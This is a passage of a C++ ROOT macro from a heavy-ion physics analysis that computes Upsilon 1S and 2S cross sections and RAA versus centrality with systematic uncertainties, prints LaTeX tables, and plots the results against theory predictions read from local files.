\\\\\\\\\"\n\t << endl;\n\n ofSyst <<\"2S aa integrated | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.lumi +/- syst.trk\"<<endl;\n ofSyst << \"0-inf\" << \" & \" << setprecision(2) << \n stat2S_aa_tot << \" & \" <<\n syst2S_csaa_tot << \" & \" <<\n syst2S_aa_tot << \" & \" <<\n syst2S_aags_tot << \" & \" <<\n syst2S_aamuid_tot << \" & \" <<\n syst2S_aasta_tot << \" & \" <<\n syst_taa << \" & \" <<\n tracking_aa <<\" \\\\\\\\ \" << endl;\n\n ofRes<<\"2S integrated Cross section | CS +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n \n ofRes << \"0-inf\" << \" & \" << setprecision(3) << \n CS2S_aa_tot << \" \\\\pm \"<<\n CS2S_aa_tote <<\" \\\\pm \"<<\n CS2S_aa_tots <<\" \\\\pm \"<<\n CS2S_aa_tot*systXS_aa_glob << \" \\\\\\\\\"\n\t << endl;\n\n ///===============================\n /// RAA and PbPb yield vs cent\n ///===============================\n /// 1. Define variables\n /// 2. Define syst variables\n /// 3. Compute the syst\n /// 4. Compute the CS.\n /// 5. Print the outputs\n /// 6. Draw and save\n ///-------------------------------\n /// 1.\n float CS1S_aa_cent[nCentBins_2014] = {}; \n float CS1S_aa_cente[nCentBins_2014] = {};\n float CS1S_aa_cents[nCentBins_2014] = {};\n float RAA_1S_cent[nCentBins_2014]={};\n float RAA_1S_cente[nCentBins_2014]={};\n float RAA_1S_cents[nCentBins_2014]={};\n float RAA_1S_centsT[nCentBins_2014]={};\n float CS2S_aa_cent[nCentBins2S] = {}; \n float CS2S_aa_cente[nCentBins2S] = {};\n float CS2S_aa_cents[nCentBins2S] = {};\n float RAA_2S_cent[nCentBins2S]={};\n float RAA_2S_cente[nCentBins2S]={};\n float RAA_2S_cents[nCentBins2S]={};\n float RAA_2S_centsT[nCentBins2S]={};\n float RAA_1S_tot;\n float RAA_1S_tote;\n float RAA_1S_tots;\n float RAA_2S_tot;\n float RAA_2S_tote;\n float RAA_2S_tots;\n \n /// 2.\n float syst_aa_glob = sqrt(pow(tracking_aa,2)+pow(syst_nmb,2)); // all the AA syst, but TAA (pt to pt)\n float syst1S_pp_glob = sqrt(syst1S_pptnp_tot*syst1S_pptnp_tot+syst1S_pp_tot*syst1S_pp_tot+pow(syst1S_ppgs_tot,2)+pow(stat1S_pp_tot,2)+pow(syst_lumi,2)+pow(tracking_pp,2)); //1S global syst. this is the box at RAA = 1\n float syst2S_pp_glob = sqrt(syst2S_pptnp_tot*syst2S_pptnp_tot+syst2S_pp_tot*syst2S_pp_tot+pow(syst2S_ppgs_tot,2)+pow(stat2S_pp_tot,2)+pow(syst_lumi,2)+pow(tracking_pp,2)); //2S global syst. this is the box at RAA = 1\n /// then ,for RAA, i get one systematic in points (not defined here, but below) and i get one systematic pp (stat+syst of the total pp reference) and i also have the pp lumi. Then it's different for 1S and 2S (because of different total cross section uncertainties).\n\n float syst1S_raa_tot_aa; //for the integrated RAA: we can split in two parts, one part is pp, one part is pbpb... but in the end, it's only one syst for the centrality integrated number.\n float syst1S_raa_tot_pp;\n \n float syst2S_raa_tot_aa;\n float syst2S_raa_tot_pp;\n float stat1S_aa_cent[nCentBins_2014]={}; //stat. aa relative uncertainty\n float syst1S_aatnp_cent[nCentBins_2014]={};// tnp uncertainty\n float syst1S_aa_Cent[nCentBins_2014]={}; //fit syst. uncertainty.\n float syst1S_taa[nCentBins_2014]={}; //taa syst. uncertainty.\n float syst1S_aags_cent[nCentBins_2014]={}; //gen shape\n float syst1S_aasta_cent[nCentBins_2014]={}; ///sta uncertainty\n float syst1S_aamuid_cent[nCentBins_2014]={};/// muid uncertainty\n float syst1S_csaa_cent[nCentBins_2014]={}; /// quadratic sum.\n ///\n float stat2S_aa_cent[nCentBins2S]={}; //stat. aa relative uncertainty\n float syst2S_aatnp_cent[nCentBins2S]={};// tnp uncertainty\n float syst2S_aa_Cent[nCentBins2S]={}; //fit syst. uncertainty.\n float syst2S_taa[nCentBins2S]={}; //taa syst. uncertainty.\n float syst2S_aags_cent[nCentBins2S]={}; //gen shape\n float syst2S_aasta_cent[nCentBins2S]={}; ///sta uncertainty\n float syst2S_aamuid_cent[nCentBins2S]={};/// muid uncertainty\n float syst2S_csaa_cent[nCentBins2S]={}; /// quadratic sum.\n /// 3.\n syst1S_aa_Cent[0]=ppAlphaSyst(N1S_aa_cent3p5[0],N1S_aa_cents_100,N1B_aa_cents_100,N1S_pp_rap4_2014Large[0],N1S_pp_rap4Larges_1p2[1]) ;\n syst1S_aa_Cent[1]=ppAlphaSyst(N1S_aa_cent3p5[1],N1S_aa_cents_70,N1B_aa_cents_70,N1S_pp_rap4_2014Large[0],N1S_pp_rap4Larges_1p2[1]) ;\n syst1S_aa_Cent[2]=ppAlphaSyst(N1S_aa_cent3p5[2],N1S_aa_cents_50,N1B_aa_cents_50,N1S_pp_rap4_2014Large[0],N1S_pp_rap4Larges_1p2[1]) ;\n syst1S_aa_Cent[3]=ppAlphaSyst(N1S_aa_cent3p5[3],N1S_aa_cents_40,N1B_aa_cents_40,N1S_pp_rap4_2014Large[0],N1S_pp_rap4Larges_1p2[1]) ;\n syst1S_aa_Cent[4]=ppAlphaSyst(N1S_aa_cent3p5[4],N1S_aa_cents_30,N1B_aa_cents_30,N1S_pp_rap4_2014Large[0],N1S_pp_rap4Larges_1p2[1]) ;\n syst1S_aa_Cent[5]=ppAlphaSyst(N1S_aa_cent3p5[5],N1S_aa_cents_20,N1B_aa_cents_20,N1S_pp_rap4_2014Large[0],N1S_pp_rap4Larges_1p2[1]) ;\n syst1S_aa_Cent[6]=ppAlphaSyst(N1S_aa_cent3p5[6],N1S_aa_cents_10,N1B_aa_cents_10,N1S_pp_rap4_2014Large[0],N1S_pp_rap4Larges_1p2[1]) ;\n syst1S_aa_Cent[7]=ppAlphaSyst(N1S_aa_cent3p5[7],N1S_aa_cents_5,N1B_aa_cents_5,N1S_pp_rap4_2014Large[0],N1S_pp_rap4Larges_1p2[1]) ;\n //CENT 2S\t\n syst2S_aa_Cent[0]=ppAlphaSyst(N2S_aa_cent4Large[0],N2S_aa_cent4Larges_100,N2B_aa_cent4Larges_100,N2S_pp_rap4_2014Large[0],N2S_pp_rap4Larges_1p2[1]) ;\n syst2S_aa_Cent[1]=ppAlphaSyst(N2S_aa_cent4Large[1],N2S_aa_cent4Larges_50,N2B_aa_cent4Larges_50,N2S_pp_rap4_2014Large[0],N2S_pp_rap4Larges_1p2[1]) ;\n syst2S_aa_Cent[2]=ppAlphaSyst(N2S_aa_cent4Large[2],N2S_aa_cent4Larges_30,N2B_aa_cent4Larges_30,N2S_pp_rap4_2014Large[0],N2S_pp_rap4Larges_1p2[1]) ;\n syst2S_aa_Cent[3]=ppAlphaSyst(N2S_aa_cent4Large[3],N2S_aa_cent4Larges_10,N2B_aa_cent4Larges_10,N2S_pp_rap4_2014Large[0],N2S_pp_rap4Larges_1p2[1]) ;\n ///4. calcul\n // 1S\n for(int i=0; i<nCentBins_2014;i++){\n stat1S_aa_cent[i]=N1S_aa_cent3p5e[i]/N1S_aa_cent3p5[i]; //stat. aa relative uncertainty\n syst1S_aatnp_cent[i]=sqrt(pow(Aet_1S_pyquen_cent2014_muIDTrigs[i]/Aet_1S_pyquen_cent2014_muIDTrig[i],2)+pow(Aet_1S_pyquen_cent2014_STAs[i]/Aet_1S_pyquen_cent2014_STA[i],2));// tnp uncertainty\n syst1S_aags_cent[i]=Aet_1S_pyquen_cent2014_STAe[i]/Aet_1S_pyquen_cent2014_STA[i]; //gen shape\n syst1S_aasta_cent[i]=Aet_1S_pyquen_cent2014_STAs[i]/Aet_1S_pyquen_cent2014_STA[i]; ///sta uncertainty\n syst1S_aamuid_cent[i]=Aet_1S_pyquen_cent2014_muIDTrigs[i]/Aet_1S_pyquen_cent2014_muIDTrig[i];/// muid uncertainty\n syst1S_taa[i]=taa2014e[i]/taa2014[i];\n syst1S_csaa_cent[i]=sqrt(pow(syst1S_aatnp_cent[i],2)+pow(syst1S_aags_cent[i],2)+pow(syst1S_taa[i],2)+pow(syst1S_aa_Cent[i],2)); /// quadratic sum of 4 pt to pt sources.\n }\n // 2S\n for(int i=0; i<nCentBins2S;i++){\n stat2S_aa_cent[i]=N2S_aa_cent4Largee[i]/N2S_aa_cent4Large[i]; //stat. aa relative uncertainty\n syst2S_aatnp_cent[i]=sqrt(pow(Aet_2S_pyquen_cent2014_muIDTrige[i]/Aet_2S_pyquen_cent2014[i],2)+pow(Aet_2S_pyquen_cent2014_STAe[i]/Aet_2S_pyquen_cent2014[i],2));// tnp uncertainty\n syst2S_aags_cent[i]=Aet_2S_pyquen_cent2014e[i]/Aet_2S_pyquen_cent2014[i]; //gen shape\n syst2S_aasta_cent[i]=Aet_2S_pyquen_cent2014_STAe[i]/Aet_2S_pyquen_cent2014[i]; ///sta uncertainty\n syst2S_aamuid_cent[i]=Aet_2S_pyquen_cent2014_muIDTrige[i]/Aet_2S_pyquen_cent2014[i];/// muid uncertainty\n syst2S_taa[i]=taa2Se[i]/taa2S[i];\n syst2S_csaa_cent[i]=sqrt(pow(syst2S_aatnp_cent[i],2)+pow(syst2S_aags_cent[i],2)+pow(syst2S_taa[i],2)+pow(syst2S_aa_Cent[i],2)); /// quadratic sum of 4 pt to pt sources.\n }\n \n /// 5. compute CS PbPb and RAA!\n for(int i=0; i<nCentBins_2014;i++){\n taa2014[i]=taa2014[i]*1000;\n CS1S_aa_cent[i]=computeRatio( N1S_aa_cent3p5[i] , Aet_1S_pyquen_cent2014_STA[i] )/(mb_percentage2014[i]*N_MB_corr * taa2014[i]*RapBinWidth);\n CS1S_aa_cente[i]=computeRatioError( N1S_aa_cent3p5[i] , Aet_1S_pyquen_cent2014_STA[i], N1S_aa_cent3p5e[i] , 0)/(mb_percentage2014[i]*N_MB_corr * taa2014[i]*RapBinWidth); // that's just the pbpb stat uncertainty!\n CS1S_aa_cents[i]=CS1S_aa_cent[i]*syst1S_csaa_cent[i];\n // RAA now. CS_aa is divided by CS_pp\n RAA_1S_cent[i]= computeRatio( CS1S_aa_cent[i] , CS1S_pp_tot);\n RAA_1S_cente[i]= computeRatioError( CS1S_aa_cent[i] , CS1S_pp_tot, CS1S_aa_cente[i] ,0);// // that's just the pbpb stat uncertainty!\n RAA_1S_cents[i]=RAA_1S_cent[i]*syst1S_csaa_cent[i];\n }\n\n for(int i=0; i<nCentBins2S;i++){\n taa2S[i]=taa2S[i]*1000;\n CS2S_aa_cent[i]=computeRatio( N2S_aa_cent4Large[i] , Aet_2S_pyquen_cent2014[i] )/(mb_percentage2S[i]*N_MB_corr * taa2S[i]*RapBinWidth);\n CS2S_aa_cente[i]=computeRatioError( N2S_aa_cent4Large[i] , Aet_2S_pyquen_cent2014[i], N2S_aa_cent4Largee[i] , 0)/(mb_percentage2S[i]*N_MB_corr * taa2S[i]*RapBinWidth); //\n CS2S_aa_cents[i]=CS2S_aa_cent[i]*syst2S_csaa_cent[i];\n // RAA now. CS_aa is divided by CS_pp\n RAA_2S_cent[i]= computeRatio( CS2S_aa_cent[i] , CS2S_pp_tot);\n RAA_2S_cente[i]= computeRatioError( CS2S_aa_cent[i] , CS2S_pp_tot, CS2S_aa_cente[i] ,0);// // that's just the pbpb stat uncertainty!\n RAA_2S_cents[i]=RAA_2S_cent[i]*syst2S_csaa_cent[i];\n }\n /// RAA total results:\n\n /// total RAA syst come last so we're in line with the settings of above (plotting or not CS global uncertainties, tracking, taa.\n syst1S_raa_tot_pp=sqrt(pow(stat1S_pp_tot,2)+pow(syst1S_pptnp_tot,2)+pow(syst1S_pp_tot,2)+pow(syst1S_ppgs_tot,2)+pow(syst_lumi,2)+pow(tracking_pp,2));\n syst1S_raa_tot_aa=sqrt(pow(syst1S_aatnp_tot,2)+pow(syst1S_aa_tot,2)+pow(syst1S_aags_tot,2)+pow(syst_nmb,2)+pow(tracking_aa,2)+pow(syst_taa,2));\n syst2S_raa_tot_pp=sqrt(pow(stat2S_pp_tot,2)+pow(syst2S_pptnp_tot,2)+pow(syst2S_pp_tot,2)+pow(syst2S_ppgs_tot,2)+pow(syst_lumi,2)+pow(tracking_pp,2));\n syst2S_raa_tot_aa=sqrt(pow(syst2S_aatnp_tot,2)+pow(syst2S_aa_tot,2)+pow(syst2S_aags_tot,2)+pow(syst_nmb,2)+pow(tracking_aa,2)+pow(syst_taa,2));\n \n RAA_1S_tot = computeRatio( CS1S_aa_tot , CS1S_pp_tot);\n RAA_1S_tote= computeRatioError( CS1S_aa_tot, CS1S_pp_tot, CS1S_aa_tote ,0);// // that's just the pbpb stat uncertainty!\n RAA_1S_tots = syst1S_raa_tot_aa*RAA_1S_tot;\n RAA_2S_tot = computeRatio( CS2S_aa_tot , CS2S_pp_tot);\n RAA_2S_tote= computeRatioError( CS2S_aa_tot, CS2S_pp_tot, CS2S_aa_tote ,0);// // that's just the pbpb stat uncertainty!\n RAA_2S_tots = syst2S_raa_tot_aa*RAA_2S_tot;\n /// 5.a prints: CSAA vs centrality\n ofSyst <<\"1S PbPb cross section vs centrality | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.taa +/- syst.mb +/- syst.trk\"<<endl;\n for(int j =nCentBins_2014-1 ; j>=0 ; j--)\n {\n ofSyst << (binsCent[j]).c_str() << \" & \" << setprecision(2) <<\n\t stat1S_aa_cent[j] << \" & \" <<\n\t syst1S_csaa_cent[j] << \" & \" <<\n\t syst1S_aa_Cent[j] << \" & \" <<\n\t syst1S_aags_cent[j] << \" & \" <<\n\t syst1S_aamuid_cent[j] << \" & \" <<\n\t syst1S_aasta_cent[j] << \" & \" <<\n\t syst1S_taa[j] << \" & \" <<\n\t syst_nmb << \" & \" <<\n\t tracking_aa <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"1S Cross section (cent)| CS +/- stat err. +/- syst err. +/- global PbPb unc. \"<<endl;\n for(int j =nCentBins_2014-1 ; j>=0 ; j--)\n {\n ofRes << (binsCent[j]).c_str() << \" & \" << setprecision(3) << \n\t CS1S_aa_cent[j] << \" \\\\pm \"<<\n\t CS1S_aa_cente[j] <<\" \\\\pm \"<<\n\t CS1S_aa_cents[j] <<\" \\\\pm \"<<\n\t CS1S_aa_cent[j]*syst_aa_glob << \" \\\\\\\\\"\n\t << endl;\n }\n ofSyst <<\"2S PbPb cross section vs centrality | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.taa +/- syst.mb +/- syst.trk\"<<endl;\n for(int j =nCentBins2S-1 ; j>=0 ; j--)\n {\n ofSyst << (bins4Bin[j]).c_str() << \" & \" << setprecision(2) <<\n\t stat2S_aa_cent[j] << \" & \" <<\n\t syst2S_csaa_cent[j] << \" & \" <<\n\t syst2S_aa_Cent[j] << \" & \" <<\n\t syst2S_aags_cent[j] << \" & \" <<\n\t syst2S_aamuid_cent[j] << \" & \" <<\n\t syst2S_aasta_cent[j] << \" & \" <<\n\t syst2S_taa[j] << \" & \" <<\n\t syst_nmb << \" & \" <<\n\t tracking_aa <<\" \\\\\\\\ \" << endl;\n }\n ofRes<<\"2S Cross section (cent) | CS +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =nCentBins2S-1 ; j>=0 ; j--)\n {\n ofRes << (bins4Bin[j]).c_str() << \" & \" << setprecision(3) << \n\t CS2S_aa_cent[j] << \" \\\\pm \"<<\n\t CS2S_aa_cente[j] <<\" \\\\pm \"<<\n\t CS2S_aa_cents[j] <<\" \\\\pm \"<<\n\t CS2S_aa_cent[j]*syst_aa_glob << \" \\\\\\\\\"\n\t << endl;\n }\n /// 5.b prints: RAA vs centrality\n ofSyst <<\"1S PbPb RAA vs centrality | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.taa | syst glob: pp (stat+syst+tnp+gs+trk+lumi) +/- PbPb (syst.mb+syst.trk)\"<<endl;\n for(int j =nCentBins_2014-1 ; j>=0 ; j--)\n {\n ofSyst << (binsCent[j]).c_str() << \" & \" << setprecision(2) <<\n\t stat1S_aa_cent[j] << \" & \" <<\n\t syst1S_csaa_cent[j] << \" & \" <<\n\t syst1S_aa_Cent[j] << \" & \" <<\n\t syst1S_aags_cent[j] << \" & \" <<\n\t syst1S_aamuid_cent[j] << \" & \" <<\n\t syst1S_aasta_cent[j] << \" & \" <<\n\t syst1S_taa[j] << \" & \" <<\n\t syst1S_pp_glob << \" & \" <<\n\t syst_aa_glob << \"\\\\\\\\\" << endl;\n }\n /// for tables\n ofRes<<\"1S RAA (cent)| CS +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =nCentBins_2014-1 ; j>=0 ; j--)\n {\n ofRes << (binsCent[j]).c_str() << \" & \" << setprecision(3) << \n\t RAA_1S_cent[j] << \" \\\\pm \"<<\n\t RAA_1S_cente[j] <<\" \\\\pm \"<<\n\t RAA_1S_cents[j] <<\" \\\\pm \"<<\n\t RAA_1S_cent[j]*syst_aa_glob << \" \\\\pm\" <<\n\t RAA_1S_cent[j]*syst1S_pp_glob<< \" \\\\\\\\ \"\n\t << endl;\n }\n /// for plots, to share with your friends on facebook\n ofplot<<\"float raa1Scent[\"<<nCentBins_2014<<\"]={\";\n for(int j =0 ; j<nCentBins_2014 ; j++)\n {\n ofplot <<RAA_1S_cent[j]; if (j==nCentBins_2014-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa1Scent_e[\"<<nCentBins_2014<<\"]={\";\n for(int j =0 ; j<nCentBins_2014 ; j++)\n {\n ofplot <<RAA_1S_cente[j]; if (j==nCentBins_2014-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa1Scent_s[\"<<nCentBins_2014<<\"]={\";\n for(int j =0 ; j<nCentBins_2014 ; j++)\n {\n ofplot <<RAA_1S_cents[j]; if (j==nCentBins_2014-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n } \n ofplot<<\"float npart1S[\"<<nCentBins_2014<<\"]={\";\n for(int j=0; j<nCentBins_2014 ; j++)\n {\n ofplot<<nPart2014[j]; if (j==nCentBins_2014-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n\n \n ofSyst <<\"2S PbPb RAA vs centrality | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.taa +/- syst.mb +/- syst.trk\"<<endl;\n for(int j =nCentBins2S-1 ; j>=0 ; j--)\n {\n ofSyst << (bins4Bin[j]).c_str() << \" & \" << setprecision(2) <<\n\t stat2S_aa_cent[j] << \" & \" <<\n\t syst2S_csaa_cent[j] << \" & \" <<\n\t syst2S_aa_Cent[j] << \" & \" <<\n\t syst2S_aags_cent[j] << \" & \" <<\n\t syst2S_aamuid_cent[j] << \" & \" <<\n\t syst2S_aasta_cent[j] << \" & \" <<\n\t syst2S_taa[j] << \" & \" <<\n\t syst2S_pp_glob << \" & \" <<\n\t syst_aa_glob << \"\\\\\\\\\" << endl;\n }\n //for tables\n ofRes<<\"2S RAA (cent)| CS +/- stat err. +/- syst err. +/- global unc. \"<<endl;\n for(int j =nCentBins2S-1 ; j>=0 ; j--)\n {\n ofRes << (bins4Bin[j]).c_str() << \" & \" << setprecision(3) << \n\t RAA_2S_cent[j] << \" \\\\pm \"<<\n\t RAA_2S_cente[j] <<\" \\\\pm \"<<\n\t RAA_2S_cents[j] <<\" \\\\pm \"<<\n\t RAA_2S_cent[j]*syst_aa_glob << \" \\\\pm \" <<\n\t RAA_2S_cent[j]*syst2S_pp_glob << \"\\\\\\\\\"\n\t << endl;\n }\n /// for plots, to share with your friends on facebook\n ofplot<<\"float raa2Scent[\"<<nCentBins2S<<\"]={\";\n for(int j =0 ; j<nCentBins2S ; j++)\n {\n ofplot <<RAA_2S_cent[j]; if (j==nCentBins2S-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa2Scent_e[\"<<nCentBins2S<<\"]={\";\n for(int j =0 ; j<nCentBins2S ; j++)\n {\n ofplot <<RAA_2S_cente[j]; if (j==nCentBins2S-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float raa2Scent_s[\"<<nCentBins2S<<\"]={\";\n for(int j =0 ; j<nCentBins2S ; j++)\n {\n ofplot <<RAA_2S_cents[j]; if (j==nCentBins2S-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n } \n ofplot<<\"float npart2S[\"<<nCentBins2S<<\"]={\";\n for(int j=0; j<nCentBins2S ; j++)\n {\n ofplot<<nPart2[j]; if (j==nCentBins2S-1) ofplot<<\"};\"<<endl; else ofplot<<\",\";\n }\n ofplot<<\"float syst1S_pp_glob=\"<<syst1S_pp_glob<<\";\"<<endl;\n ofplot<<\"float syst2S_pp_glob=\"<<syst2S_pp_glob<<\";\"<<endl;\n ofplot<<\"float syst_aa_glob=\"<<syst_aa_glob<<\";\"<<endl;\n ofplot<<\"float systXS_raa_glob=\"<<systXS_raa_glob<<\";\"<<endl;\n /// 5.c prints: total RAA\n ofSyst <<\"1S aa integrated | stat err. | syst err. = +/- syst.fit +/- syst.gs +/- syst.muid +/- syst.sta +/- syst.taa +/- syst.cspp +/- syst.trk\"<<endl;\n ofSyst << \"0-100\" << \" & \" << setprecision(2) << \n stat1S_aa_tot << \" & \" <<\n syst1S_raa_tot_aa << \" & \" <<\n syst1S_raa_tot_pp <<\" \\\\\\\\ \" << endl;\n\n ofRes<<\"1S integrated RAA | RAA +/- stat err. +/- syst err. +/- global PbPb unc. +/- global pp unc \"<<endl;\n \n ofRes << \"0-100\" << \" & \" << setprecision(3) << \n RAA_1S_tot << \" \\\\pm \"<<\n RAA_1S_tote <<\" \\\\pm \"<<\n RAA_1S_tots <<\" \\\\pm \"<<\n RAA_1S_tot*syst1S_raa_tot_pp<< \" \\\\\\\\ \"\n\t << endl;\n\n ofSyst <<\"2S aa integrated | stat err. | syst PbPb | syst pp\"<<endl;\n ofSyst << \"0-100\" << \" & \" << setprecision(2) << \n stat2S_aa_tot << \" & \" <<\n syst2S_raa_tot_aa << \" & \" <<\n syst2S_raa_tot_pp <<\" \\\\\\\\ \" << endl;\n\n ofRes<<\"2S integrated RAA | RAA +/- stat err. +/- syst err. +/- global PbPb unc. +/- global pp unc. \"<<endl;\n \n ofRes << \"0-100\" << \" & \" << setprecision(3) << \n RAA_2S_tot << \" \\\\pm \"<<\n RAA_2S_tote <<\" \\\\pm \"<<\n RAA_2S_tots <<\" \\\\pm \"<<\n RAA_2S_tot*syst2S_raa_tot_pp<< \" \\\\\\\\ \"\n\t << endl;\n \n // 6. RAA cent plot\n // gStyle->SetPadRightMargin(0.04); //reverting style here (otherwise Npart=400 eats the margin)\n\n TCanvas *cRaacent = new TCanvas(\"cRaacent\",\"cRaacent\",750,700); \n cRaacent->cd();\n TPad *main = new TPad(\"main\",\"Main TPad\",0.,0.,xfrac,1.);\n main->SetLeftMargin(gStyle->GetPadLeftMargin()/xfrac);\n main->SetRightMargin(0);\n main->SetFrameBorderMode(0);\n main->SetBorderMode(0);\n main->SetBorderSize(0);\n main->Draw();\n main->cd();\n TLine line, liner;\n TH1F *haxes = new TH1F(\"haxesl\",\"haxesl\",1,-10,420);\n haxes->GetXaxis()->SetTickLength(gStyle->GetTickLength(\"X\")/xfrac);\n // haxes->GetYaxis()->SetTickLength(gStyle->GetTickLength(\"Y\")*xfrac);\n line = TLine(0,1,420,1);\n haxes->GetYaxis()->SetRangeUser(0,1.7);\n TH1F *haxesr = new TH1F(\"haxesr\",\"haxesr\",1,0,2);\n haxesr->GetXaxis()->SetTickLength(0);\n haxesr->GetYaxis()->SetTickLength(gStyle->GetTickLength(\"Y\")/(1.1-xfrac));\n haxesr->GetXaxis()->SetTitleSize(0);\n haxesr->GetXaxis()->SetLabelSize(0);\n haxesr->GetYaxis()->SetRangeUser(0,1.7);\n liner = TLine(0,1,2,1);\n haxes->GetYaxis()->SetTitle(\"R_{AA}\");\n haxes->GetXaxis()->SetTitle(\"#LTN_{part}#GT\");\n haxes->GetXaxis()->SetTitleSize(gTextSize+0.01);\n haxes->GetYaxis()->SetTitleSize(gTextSize+0.015);\n haxes->GetXaxis()->CenterTitle(kTRUE);\n haxes->GetXaxis()->SetTitleOffset(1.06);\n haxes->Draw();\n line.Draw();\n // TF1 *f4RaaCent = new TF1(\"f4RaaCent\",\"1\",-10,410);\n // f4RaaCent->SetLineWidth(1);\n // f4RaaCent->SetLineColor(kBlack);\n // f4RaaCent->GetXaxis()->SetTitle(\"N_{part}\");\n // f4RaaCent->GetYaxis()->SetTitle(\"R_{AA}\"); \n // f4RaaCent->GetXaxis()->SetTitleOffset(f4RaaCent->GetXaxis()->GetTitleOffset()*1.3);\n // f4RaaCent->GetXaxis()->SetTitleSize(0.045);\n // f4RaaCent->GetYaxis()->SetRangeUser(0.,1.6);\n // f4RaaCent->GetXaxis()->CenterTitle(kTRUE);\n // f4RaaCent->Draw();\n\n TLegend *leg2= new TLegend(0.27,0.58,0.4,0.80);\n TLegend *leg3 = new TLegend(0.27,0.60,0.4,0.80);\n leg3->SetBorderSize(0);\n leg3->SetTextSize(gTextSize-0.005);\n leg3->SetTextFont(42);\n leg3->SetLineColor(0);\n leg3->SetLineStyle(2);\n leg3->SetLineWidth(1);\n leg3->SetFillColor(0);\n leg3->SetFillStyle(0);\n leg2->SetBorderSize(0);\n leg2->SetTextSize(gTextSize);\n leg2->SetTextFont(42);\n leg2->SetLineColor(0);\n leg2->SetLineStyle(1);\n leg2->SetLineWidth(2);\n leg2->SetFillColor(0);\n leg2->SetFillStyle(0);\n\n //M.Strickland data part\n if (plug==0){\n ////Strickland comparisons are now based on his '5TeV predictions' paper, which has 2.76 as a reference. The advantage is basically more points on the prediction curve. Check out https://arxiv.org/src/1605.03561v1/anc\n float npart_th[407];\n float raa1Snpart_the1x0[407], raa1Snpart_the2x0[407], raa1Snpart_the3x0[407];\n float raa2Snpart_the1x0[407], raa2Snpart_the2x0[407], raa2Snpart_the3x0[407];\n ifstream inpart1Sx0;\n ifstream inpart2Sx0;\n // this is the input file for 1Snpart and xi=0\n inpart1Sx0.open(\"Strick_Npart_1S_xi0.tsv\");\n inpart2Sx0.open(\"Strick_Npart_2S_xi0.tsv\");\n for (int i=0; i<407;i++){\n\tinpart1Sx0>> npart_th[i]>> raa1Snpart_the1x0[i]>> raa1Snpart_the2x0[i]>> raa1Snpart_the3x0[i];\n\tinpart2Sx0>> npart_th[i]>> raa2Snpart_the1x0[i]>> raa2Snpart_the2x0[i]>> raa2Snpart_the3x0[i];\n }\n TGraph *sups1Snpart1x0 = new TGraph(407,npart_th,raa1Snpart_the1x0);\n sups1Snpart1x0->SetLineWidth(2);\n sups1Snpart1x0->SetLineColor(color1Sraa);\n sups1Snpart1x0->SetLineStyle(1);\n sups1Snpart1x0->Draw(\"l same\");\n TGraph *sups1Snpart2x0 = new TGraph(407,npart_th,raa1Snpart_the2x0);\n sups1Snpart2x0->SetLineWidth(2);\n sups1Snpart2x0->SetLineColor(color1Sraa);\n sups1Snpart2x0->SetLineStyle(2);\n sups1Snpart2x0->Draw(\"l same\");\n TGraph *sups1Snpart3x0 = new TGraph(407,npart_th,raa1Snpart_the3x0);\n sups1Snpart3x0->SetLineWidth(2);\n sups1Snpart3x0->SetLineColor(color1Sraa);\n sups1Snpart3x0->SetLineStyle(3);\n sups1Snpart3x0->Draw(\"l same\");\n TGraph *sups2Snpart1x0 = new TGraph(407,npart_th,raa2Snpart_the1x0);\n sups2Snpart1x0->SetLineWidth(2);\n sups2Snpart1x0->SetLineColor(color2Sraa);\n sups2Snpart1x0->SetLineStyle(1);\n sups2Snpart1x0->Draw(\"l same\");\n TGraph *sups2Snpart2x0 = new TGraph(407,npart_th,raa2Snpart_the2x0);\n sups2Snpart2x0->SetLineWidth(2);\n sups2Snpart2x0->SetLineColor(color2Sraa);\n sups2Snpart2x0->SetLineStyle(2);\n sups2Snpart2x0->Draw(\"l same\");\n TGraph *sups2Snpart3x0 = new TGraph(407,npart_th,raa2Snpart_the3x0);\n sups2Snpart3x0->SetLineWidth(2);\n sups2Snpart3x0->SetLineColor(color2Sraa);\n sups2Snpart3x0->SetLineStyle(3);\n sups2Snpart3x0->Draw(\"l same\");\n\n\n leg3->SetHeader(\"Strickland et al., Universe 2016, 2(3), 16\");\n leg2->SetHeader(\"\");\n leg3->AddEntry(sups1Snpart3x0,\" 4#pi#eta/s = 3\",\"L\");\n leg3->AddEntry(sups1Snpart2x0,\" 4#pi#eta/s = 2\",\"L\");\n leg3->AddEntry(sups1Snpart1x0,\" 4#pi#eta/s = 1\",\"L\");\n\n leg2->Draw();\n leg3->Draw();\n }else if (plug==1){\n //M.Rapp data part\n \n ifstream in_SBS1S, in_SBS2S;\n in_SBS1S.open(\"LHC-SBS-nabs0.0-2.0-1sRAA.dat\");\n in_SBS2S.open(\"LHC-SBS-nabs0.0-2.0-2sRAA.dat\");\n \n float N_part_1S[28], N_coll_1S[28], Absorp_l_1S[28], Primordial_l_1S[28], Total_l_1S[28], Absorp_h_1S[28], Primordial_h_1S[28], Total_h_1S[28];\n float N_part_Err[28], Absorp_1S[28], Primordial_1S[28], Total_1S[28], Absorp_1S_err[28], Primordial_1S_err[28], Total_1S_err[28];\n float regen_l_1S[28], regen_h_1S[28], regen_mean_1S[28], regen_err_1S[28];\n \n \n float N_part_2S[50], N_coll_2S[50], Absorp_l_2S[50], Primordial_l_2S[50], Total_l_2S[50], Absorp_h_2S[50], Primordial_h_2S[50], Total_h_2S[50];\n float Absorp_2S[50], Primordial_2S[50], Total_2S[50], 